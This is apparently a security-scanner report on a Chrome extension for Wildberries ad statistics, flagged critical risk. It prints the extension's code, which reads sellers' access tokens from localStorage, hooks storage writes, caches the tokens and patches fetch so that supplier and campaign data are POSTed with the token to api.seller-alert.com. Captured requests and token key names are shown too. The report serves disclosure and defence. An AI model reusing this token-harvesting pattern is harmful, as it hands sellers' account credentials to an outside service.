Is ТурбоМинимум RM - статистика рекламы на WB safe?

Critical risk

ТурбоМинимум RM - статистика рекламы на WB is critical risk. After finding a Wildberries seller token in storage, the API wrapper reuses it as an Authorizev3 header on Seller Alert sync requests. Portrait/advert-stat calls POST supplier and campaign data to api.seller-alert.com with that token.

statisochkav80Chrome Web Store
94Risk
Who publishes it

STATGROUP - no other listings under this identity, 1 shared hostname

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
statisochka
Declared legal entity
STATGROUP
Registered address
ул. Чехова, Москва, Москва 142171, RU
Registered contact
STATGROUP

Shared hosts - 1 hostname

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

cdn.wbbasket.ru
Also called by 3 other listings, including EVIRMA

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Wildberries token added to Seller Alert requests

After finding a Wildberries seller token in storage, the API wrapper reuses it as an Authorizev3 header on Seller Alert sync requests.

Portrait/advert-stat calls POST supplier and campaign data to api.seller-alert.com with that token.

Severity
Critical unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You use the extension on Wildberries seller or advertising pages.

The relevant extension features include the Seller Alert portrait and advert-stat sync paths.

The extension did this

The extension reuses the Wildberries access token as an Authorizev3 header on Seller Alert API requests.

The token is read from browser storage, cached by the background script, and returned to the page API wrapper before the POST runs.

Credential and request fields in the Seller Alert sync path
  • Wildberries access token
    Authorizev3: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI5ODc2NTQzMjEiLCJzdXBwbGllcl9pZCI6IjEyMzQ1NiJ9.q7lKqQsuhqNlk8yCkYaOQw (illustrative)

    This credential can authenticate requests tied to your Wildberries seller account.

  • Storage token keys
    access-token-web, access-token, wb-eu-passport-v2.access-token

    The extension checks browser storage locations where your Wildberries session token may be kept.

  • Extension cache key
    turbominimum_rm_seller_token

    The background script keeps the token under its own storage key so later page code can request it.

  • Seller Alert portrait payload
    supplier_id=123456, date=2024-01-15, data=[portrait rows] (illustrative)

    The portrait sync sends supplier, date, and portrait records together with the credential-bearing header.

  • Seller Alert advert-stat payload
    supplier_id=123456, date=2024-01-15, campaigns=[campaign rows] (illustrative)

    The advert-stat sync sends supplier, date, and campaign records together with the credential-bearing header.

What's stored on your device

The extension copies the token from the Wildberries page context into extension storage before using it on later API calls.

Location
Wildberries page localStorage and chrome.storage.local
Contents
{  "pageTokenKeys": [    "access-token-web",    "access-token",    "wb-eu-passport-v2.access-token"  ],  "backgroundTokenKey": "turbominimum_rm_seller_token",  "messageToContentScript": {    "type": "TOKEN_REFRESHED",    "token": "redacted Wildberries access token"  },  "messageFromContentScript": {    "type": "TOKEN_UPDATE",    "token": "redacted Wildberries access token"  }}
Captured request
POSThttps://api.seller-alert.com/api/v1/extension/portrait

The source handles JSON responses and explicit 404, 429, and non-OK error cases.

Headers
Authorizev3
redacted Wildberries access token
Content-Type
application/json
extension_version
64
Captured request
POSThttps://api.seller-alert.com/api/v1/extension/advert-stats

The source reads the response as JSON after the wrapped request completes.

Headers
Authorizev3
redacted Wildberries access token
Content-Type
application/json
extension_version
64
The code that does this

Shipped code path that reads the token and adds it to Seller Alert fetches

Readable version

Content token sync

src/utils/cmp-token-sync.js
const tokenKeys = window.AppConstants && window.AppConstants.WB_TOKEN_STORAGE_KEYS || [];const canUseRuntime = window.isChromeRuntimeAvailable;let lastToken = null;let intervalId = null;function readWildberriesToken() {  for (const key of tokenKeys) {    const token = localStorage.getItem(key) ?? null;    if (token && typeof token === 'string' && token.length > 0) {      return token;    }  }  return null;}function syncTokenToBackground() {  const token = readWildberriesToken();  if (token !== lastToken) {    lastToken = token;    chrome.runtime.sendMessage({ type: 'TOKEN_UPDATE', token }, () => {      if (chrome.runtime.lastError) {        console.warn('[CMP-Token-Sync]', 'Failed to send token to background:', JSON.stringify({ error: chrome.runtime.lastError.message }));      }    });  }}function watchTokenChanges() {  const originalSetItem = Storage.prototype.setItem;  let pending = false;  Storage.prototype.setItem = function(key, value) {    const result = originalSetItem.apply(this, arguments);    if (!pending && tokenKeys.includes(key)) {      pending = true;      setTimeout(() => {        syncTokenToBackground();        pending = false;      }, 0);    }    return result;  };  window.addEventListener('storage', event => {    if (event.key && tokenKeys.includes(event.key)) {      syncTokenToBackground();    }  });  intervalId = setInterval(() => {    syncTokenToBackground();  }, 2000);}if (!tokenKeys || tokenKeys.length === 0 || !canUseRuntime) {  console.warn('[CMP-Token-Sync] WB_TOKEN_STORAGE_KEYS is not available or empty');} else if (document.readyState === 'loading') {  document.addEventListener('DOMContentLoaded', () => {    syncTokenToBackground();    watchTokenChanges();  });} else {  syncTokenToBackground();  watchTokenChanges();}window.addEventListener('beforeunload', () => {  if (intervalId !== null) {    clearInterval(intervalId);    intervalId = null;  }});

Background token cache and page Auth lookup

src/background/token-sync-utils.js and src/api/auth/api.js
const storageKey = window.AppConstants.CACHE_PREFIXES.SELLER_TOKEN_STORAGE_KEY();let currentToken = null;function loadTokenFromStorage() {  chrome.storage.local.get([storageKey], values => {    currentToken = values[storageKey] || null;  });}function setToken(token) {  const nextToken = token || null;  if (nextToken !== currentToken) {    currentToken = nextToken;    chrome.storage.local.set({ [storageKey]: nextToken });  }}function getCurrentToken() {  return currentToken;}chrome.runtime.onMessage.addListener((message, sender, sendResponse) => {  if (message && message.type === 'TOKEN_UPDATE') {    setToken(message.token || null);    sendResponse({ success: true });    return true;  }  if (message && message.type === 'TOKEN_GET') {    sendResponse({ token: getCurrentToken() });    return true;  }});async function getAccessToken() {  return await new Promise(resolve => {    chrome.runtime.sendMessage({ type: 'TOKEN_GET' }, response => {      if (chrome.runtime.lastError) {        resolve(null);        return;      }      const token = response && typeof response.token === 'string' && response.token.length > 0 ? response.token : null;      resolve(token);    });  });}

API wrapper adds Authorizev3 to requests

src/api/api-request-wrapper.js
async function getAccessTokenForWrapper() {  if (!window.Auth || typeof window.Auth.getAccessToken !== 'function') {    return null;  }  try {    return await window.Auth.getAccessToken();  } catch (error) {    return null;  }}function addAuthorizev3(headers, token) {  if (!token) {    return headers;  }  if (headers instanceof Headers) {    if (!headers.has('Authorizev3')) {      headers.set('Authorizev3', token);    }    return headers;  }  if (headers && typeof headers === 'object') {    if (!headers.Authorizev3 && !headers.authorizev3) {      headers.Authorizev3 = token;    }    return headers;  }  return headers;}function createApiRequest(callback, options = {}) {  return async function(...args) {    const token = await getAccessTokenForWrapper();    const originalFetch = window.fetch;    let fetchWasPatched = false;    if (token && typeof window !== 'undefined' && window.fetch) {      window.fetch = function(url, init) {        if (init && init.headers) {          init.headers = addAuthorizev3(init.headers, token);        } else if (init) {          init.headers = addAuthorizev3({}, token);        } else {          init = { headers: addAuthorizev3({}, token) };        }        return originalFetch(url, init);      };      fetchWasPatched = true;    }    try {      return await callback(...args);    } finally {      if (fetchWasPatched) {        window.fetch = originalFetch;      }    }  };}

Seller Alert portrait and advert-stat POSTs

src/api/integration-portrait/api.js and src/api/integration-rk-stats/api.js
async function sendPortraitData(request) {  const { supplier_id, date, data, extension_version } = request || {};  if (!supplier_id || !date || !Array.isArray(data) || data.length === 0) {    throw new Error('supplier_id, date and data are required');  }  const payload = {    supplier_id: String(supplier_id),    date: String(date),    data  };  const runRequest = window.APIRequestWrapper.createApiRequest(async () => {    const headers = {      'Content-Type': 'application/json',      extension_version    };    return await fetch(window.AppConstants.URLS.SELLER_ALERT_PORTRAIT(), {      method: 'POST',      headers,      body: JSON.stringify(payload)    });  }, { requestKey: 'integration-portrait-' + payload.supplier_id + '-' + payload.date });  return await runRequest();}async function sendRKStatsPerDay(request) {  const { supplier_id, date, campaigns, extension_version, hasRetry = true, onRetry, statusHandlers } = request || {};  if (!supplier_id || !date || !Array.isArray(campaigns) || campaigns.length === 0) {    throw new Error('supplier_id, date and campaigns are required');  }  const payload = {    supplier_id: String(supplier_id),    date: String(date),    campaigns  };  const runRequest = window.APIRequestWrapper.createApiRequest(async () => {    const headers = {      'Content-Type': 'application/json',      extension_version    };    return await fetch(window.AppConstants.URLS.SELLER_ALERT_ADVERT_STATS(), {      method: 'POST',      headers,      body: JSON.stringify(payload)    });  }, { requestKey: 'integration-rk-stats-perday-' + supplier_id + '-' + date, hasRetry, onRetry, statusHandlers });  const response = await runRequest();  return await response.json();}
External service receiving the credential-bearing requests
    • api.seller-alert.com

    Receives extension portrait and advert-stat POST requests; the code path adds the Wildberries Authorizev3 header when a token is cached.

Updated 30 September 2026mkajnobnkglcipndmeeoijandgckfcbk